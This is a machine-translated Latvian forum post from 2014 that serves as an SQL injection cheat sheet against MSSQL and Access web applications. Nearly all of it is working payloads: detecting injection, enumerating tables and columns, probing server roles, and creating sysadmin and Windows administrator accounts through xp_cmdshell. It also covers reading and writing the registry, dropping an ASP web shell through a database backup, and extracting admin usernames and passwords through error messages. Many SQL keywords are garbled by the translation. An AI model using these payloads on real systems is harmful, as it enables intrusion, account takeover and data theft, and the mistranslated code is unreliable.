Šis raksts ir mašīntulkošanas spoguļraksts, lūdzu, noklikšķiniet šeit, lai pārietu uz oriģinālo rakstu.

Skats: 14167|Atbildi: 0

[Droša komunikācija] SQL injekcijas vispārīgie paziņojumi

[Kopēt saiti]
Publicēts 22.11.2014 17:17:21 | | |
1. Nosakiet, vai ir veikta injekcija
; un 1=1
; un 1=2

2. Iepriekšējs spriedums, vai tas ir mssql
; un lietotājs>0

3. Spriediet par datu bāzes sistēmu
; un (atlasiet count(*) no sysobjects)>0 mssql
; un (atlasiet count(*) no msysobjects)>0 access

4. Injekcijas parametrs ir rakstzīme
'un [vaicājuma kritēriji] un ''='

5. Meklēšanas laikā nav filtrētu parametru
'un [vaicājuma kritēriji] un '%25'='

6. Uzminiet tabulas nosaukumu
; un (atlasiet Count(*) no [tabulas nosaukums])>0

7. Uzminiet lauku
; un (tabulas nosaukumā atlasiet Skaits(lauka nosaukums))>0

8. Uzminiet ieraksta garumu laukā
; un (atlasiet augšējo 1 objektīvu (lauka nosaukums) no tabulas nosaukuma)>0

9. (1) Uzminiet lauka ASCII vērtību (piekļuve)
; un (atlasiet top 1 asc(mid(lauka nosaukums, 1,1)) no tabulas nosaukuma)>0

(2) Uzminiet lauka ASCII vērtību (mssql)
; un (atlasiet top 1 Unicode(apakšvirkne(lauka nosaukums,1,1)) no tabulas nosaukuma)>0

10. Testa atļauju struktūra (mssql)
; un 1=(atlasiet IS_SRVROLEMEMBER('sysadmin')); --
; un 1=(atlasiet IS_SRVROLEMEMBER('serveradmin')); --
; un 1=(atlasiet IS_SRVROLEMEMBER('setupadmin')); --
; un 1=(atlasiet IS_SRVROLEMEMBER('securityadmin')); --
; un 1=(atlasiet IS_SRVROLEMEMBER('diskadmin')); --
; un 1=(atlasiet IS_SRVROLEMEMBER('bulkadmin')); --
; un 1=(atlasiet IS_MEMBER('db_owner')); --

11. Pievienojiet kontu mssql un sistēmai
; exec master.dbo.sp_addlogin lietotājvārds; --
; exec master.dbo.sp_password null,lietotājvārds,parole; --
; exec master.dbo.sp_addsrvrolemember sysadmin lietotājvārds; --
; exec master.dbo.xp_cmdshell 'neto lietotāja lietotājvārds parole /darbstacijas:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; --
; exec master.dbo.xp_cmdshell 'neto lietotāja lietotājvārda parole /add'; --
; exec master.dbo.xp_cmdshell 'neto vietējās grupas administratoru lietotājvārds /add'; --

12. (1) Šķērsojiet katalogu
; izveidot tabulas dirs(ceļi varchar(100), id int)
; Ievietojiet dirs exec master.dbo.xp_dirtree 'c:\'
; un (atlasiet 1 populārākos ceļus no dirs)>0
; un (izvēlieties 1 labākos ceļus no dirs, kur ceļi nav ('ceļi, kas iegūti no iepriekšējā soļa'))>)

(2) Šķērsojiet katalogu
; izveidot tabulu temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; ievietojiet temp exec master.dbo.xp_availablemedia; -- Iegūstiet visus pašreizējos diskus
; ievietot temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Iegūt apakšdirektoriju sarakstu
; ievietot temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Iegūstiet direktoriju koka struktūru visiem apakšdirektorijiem
; ievietot temp(id) exec master.dbo.xp_cmdshell 'ierakstiet c:\web\index.asp'; -- Skatīt faila saturu

13. Saglabātās procedūras mssql
xp_regenumvalues reģistra saknes atslēga, bērna atslēga
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' atgriež visas atslēgas vērtības vairākās ierakstu kopās
xp_regread Saknes atslēga, bērna atslēga, atslēgas-vērtības nosaukums
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' atgriež kopas atslēgas vērtību
xp_regwrite Saknes atslēga, bērnatslēga, vērtības nosaukums, vērtības tips, vērtība
Ir divu veidu vērtību tipi: REG_SZ REG_DWORD rakstzīmju tipiem un veseliem skaitļiem
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' reģistram
xp_regdeletevalue Saknes atslēga, apakšatslēga, vērtības nosaukums
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName', lai noņemtu vērtību
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey', lai noņemtu atslēgu, ieskaitot visas šīs atslēgas vērtības

14. MSSQL dublēšana izveido tīmekļa čaulu
Izmantojiet modeli
izveidot tabulu cmd(str attēls);
ievietojiet cmd(str) vērtības ('<% Dim oScript %>');
dublēt datu bāzes modeli uz disk='c:\l.asp';

15. MSSQL iebūvētās funkcijas
; un (atlasiet @@version)>0, lai iegūtu Windows versijas numuru
; un user_name()='dbo', lai noteiktu, vai pašreizējās sistēmas pievienotais lietotājs ir SA
; un (atlasiet user_name())>0 Eksplodēja pašreizējās sistēmas pievienotos lietotājus
; un (atlasiet db_name())>0, lai iegūtu pašreiz pievienoto datu bāzi



MSSQL datu bāzes pārkāpums ar roku anotācijām

1. Atklājiet pašreizējo tabulas nosaukumu un kolonnas nosaukumu
Iesniedziet "'having 1=1--" pēc injekcijas punkta, lai saņemtu atgriešanās ziņojumu angļu valodā, kurā jūs varat redzēt tabulas nosaukumu un kolonnas nosaukumu. Iesniedziet "grupa pēc saraksta nosaukuma, kam ir 1=1--", lai iegūtu citu kolonnas nosaukumu; Turpiniet iesniegt "grupēt pēc atklātās tabulas nosaukuma saraksta, atklātās tabulas nosaukuma. Otrās kolonnas nosaukumam ir 1=1--", kas dod citu kolonnas nosaukumu. Apņemieties tādā pašā veidā, līdz lapa vairs neatgriež kļūdu ziņojumus, lai iegūtu visus kolonnu nosaukumus. Sīkumi: vardarbīgi tabulu nosaukumi un kolonnu nosaukumi tiek izmantoti kombinācijā ar GROUP BY SQL priekšrakstos, lai veiktu nosacītus spriedumus. Tā kā priekšraksts ir nepilnīgs, datu bāze atgriež kļūdas ziņojumu un parāda tabulas nosaukumu un kolonnas nosaukumu. Pamatmetode var atklāt tikai pašreizējo tabulu datu bāzē, un, ja tabulā ir daudz kolonnu nosaukumu, ir ļoti grūti izmantot pamatmetodi.

Pirmkārt. Tiek parādīti visi datu bāzu nosaukumi
Izmantojiet priekšrakstu "un 0<>(select count(*) from master.dbo.sysdatabases, kur name>1 un dbid=[N])", lai datu bāzē atklātu patvaļīgus tabulu nosaukumus un kolonnu nosaukumus, kur "[N]" apzīmē N-to tabulu datu bāzē.
1. solis: Pēc punkta ievadīšanas iesniedziet šādu paziņojumu: "un 0<>(atlasiet count(*) no master.dbo.sysdatabases, kur name>1 un dbid=12)", jo dbid vērtība ir no 1 līdz 5, ko izmanto sistēma, tāpēc lietotājam tas ir jāizveido no 6, un mēs iesniedzām nosaukumu>1, lauks nosaukums ir rakstzīmju tipa lauks, un skaitļu salīdzinājums būs nepareizs, tāpēc pēc iesniegšanas IE atgriezīs šādu informāciju: "Microsoft OLE DB nodrošinātājs ODBC draiveru kļūdai ?e07' [Microsoft][ODBC SQL Server draiveris][SQL Server] konvertē nvarchar vērtību 'Northwind' uz datu tipu int kolonna. Tādā veidā tiek atklāta nosaukuma lauka vērtība, tas ir, mēs iegūstam datu bāzes nosaukumu "Northwind". Mainot "dbid" vērtību, var iegūt visus datu bāzes nosaukumus.

un 0<>(select count(*) no master.dbo.sysdatabases, kur name>1 un dbid=[N])-- Modificējiet N, lai eksplodētu visus datu bāzes nosaukumus no 6


Otrkārt. Visu tabulu nosaukumu atklāšana norādītajā datu bāzē
Pēc datu bāzes nosaukuma iegūšanas tagad jums ir jāiegūst visi tabulu nosaukumi bibliotēkā, iesniedziet šādu paziņojumu: "un 0<>(atlasiet top 1 nosaukumu no master.dbo.sysobjects, kur xtype='U')", šeit ir tabulas nosaukums galvenajā datu bāzē, un vaicājuma SQL paziņojums atgriež nosaukuma vērtību un pēc tam salīdziniet to ar skaitli 0, lai nosaukuma vērtība tiktu atklāta. Pēc iesniegšanas tabulas nosaukums bija "spt_monito" tika atklāts.
Tad tiek atklātas pārējās tabulas, un tiek iesniegts šāds paziņojums: "un 0<>(atlasiet top 1 nosaukumu no master.dbo.sysobjects, kur xtype='U' un name not in('spt_monito'))", un tiek parādīta cita tabula ar nosaukumu "cd512". Fails "un nosaukums nav in(' spt_monito',' CD512',..))" Jūs varat uzzināt visus tabulu nosaukumus.

un 0<>(atlasiet 1. augšējo nosaukumu no [norādīt datu bāzes nosaukumu].dbo.sysobjects, kur xtype='U')--
un 0<>(atlasiet 1. augšējo nosaukumu no [norādīt datu bāzes nosaukumu].dbo.sysobjects, kur xtype='U' un nosaukums nav in('[Eksplodētās tabulas nosaukums]'))--
un 0<>(atlasiet 1. augšējo nosaukumu no [norādīt datu bāzes nosaukumu].dbo.sysobjects, kur xtype='U' un nosaukums nav in('[Sprādzienbīstams tabulas nosaukums]', '[Eksplodēts otrās tabulas nosaukums]')))--

4. Atklājiet visus kolonnu nosaukumus norādītajā tabulā
un 0<>(atlasiet count(*) no bbs.dbo.sysobjects, kur xtype='U' un name='admin' un uid>(str(id)))
Konvertējiet ID vērtību rakstzīmes tipā un pēc tam salīdziniet to ar veselu skaitli. ID numurs ir izslēgts. Vērtība ir: 949578421 name='tabulas nosaukums'

un 0<>(atlasiet 1 populārāko nosaukumu no wutong.dbo.syscolumns, kur id=949578421)-- tiek parādīts lauka nosaukums administratora tabulā

Atkārtoti iesniegt un 0<>(atlasiet top 1 vārdu no wutong.dbo.syscolumns, kur id=949578421 un nosaukums nav in('adduser')))--
Fails "un nosaukums nav in(' spt_monito',' CD512',..))" Visus lauku nosaukumus varat atrast administratora tabulā.


un 0<>(select count(*) no [norādīt datu bāzes nosaukumu].dbo.sysobjects, kur xtype='U' un name='[Eksplodējamā lauka tabulas nosaukums]' un uid>(str(id)))--Eksplodējamā lauka tabulas nosaukuma ID vērtība

un 0<>(atlasiet 1. augšējo nosaukumu no [norādīt datu bāzes nosaukumu].dbo.syscolumns, kur id=eksplodētā id vērtība)-- lauka nosaukums izsprāgstošās id vērtības tabulā

un 0<>(atlasiet 1. augšējo nosaukumu no [norādīt datu bāzes nosaukumu].dbo.syscolumns, kur id=Sprādzienbīstama id vērtība un nosaukums nav in('[Eksplodēts lauka nosaukums]')))--



5. Izlasiet datus norādītajā tabulā

un 0<(atlasiet A_ID no wutong.dbo.admin, kur A_UserID>1) - saturs, kas salauza A_PWD

un 0<(atlasiet [lauks, kas pastāv] no [norādīt datu bāzes nosaukumu].dbo.[vaicājuma tabulas nosaukums], kur [lauka nosaukums, lai eksplodētu saturu]>1)--

un 0<(atlasiet A_ID no wutong.dbo.admin, kur A_PWD>1 un A_UserID='admin')- Administratora parole ir atklāta


un 0<(Atlasiet Top 1 A_UserID FROM admin, kur A_ID<>1) - id<>1 administratora vārds (fuhao)

un 0<(Atlasiet Top 1 A_UserID FROM admin, kur A_ID <>1 un A_UserID <> 'fuhao')-- Otrā administratora vārds <> nav vienāds ar (tuiguang)

un 0<(Atlasiet Top 1 A_UserID FROM admin, kur A_ID <>1 un A_UserID <> 'fuhao'un A_UserID <> 'tuiguang')--

Pēc datu bāzes tabulas nosaukuma un kolonnas nosaukuma uzzināšanas varat izmantot "vaicājuma paziņojumu", lai lasītu jebkuru informāciju datu bāzē. Piemēram, ja vēlaties lasīt N-tos datus tabulas kolonnā, varat iesniegt paziņojumu: "un (atlasiet 1. augšējo kolonnas nosaukumu FROM tabulas nosaukums, kur id=[N])>1" ([N] apzīmē kolonnas N-tos datus), un vēlamos datus varat uzzināt no IE atgrieztās informācijas.






Iepriekšējo:Kā paslēpt saspiestu rar failu jpg failā
Nākamo:Savāciet "Hariju Poteru" 1~7 Izņemiet to un dalieties ar to Ja jums tas nepatīk, neizsmidziniet to
Atruna:
Visa programmatūra, programmēšanas materiāli vai raksti, ko publicē Code Farmer Network, ir paredzēti tikai mācību un pētniecības mērķiem; Iepriekš minēto saturu nedrīkst izmantot komerciāliem vai nelikumīgiem mērķiem, pretējā gadījumā lietotājiem ir jāuzņemas visas sekas. Informācija šajā vietnē nāk no interneta, un autortiesību strīdiem nav nekāda sakara ar šo vietni. Iepriekš minētais saturs ir pilnībā jāizdzēš no datora 24 stundu laikā pēc lejupielādes. Ja jums patīk programma, lūdzu, atbalstiet oriģinālu programmatūru, iegādājieties reģistrāciju un iegūstiet labākus oriģinālus pakalpojumus. Ja ir kādi pārkāpumi, lūdzu, sazinieties ar mums pa e-pastu.

Mail To:help@itsvse.com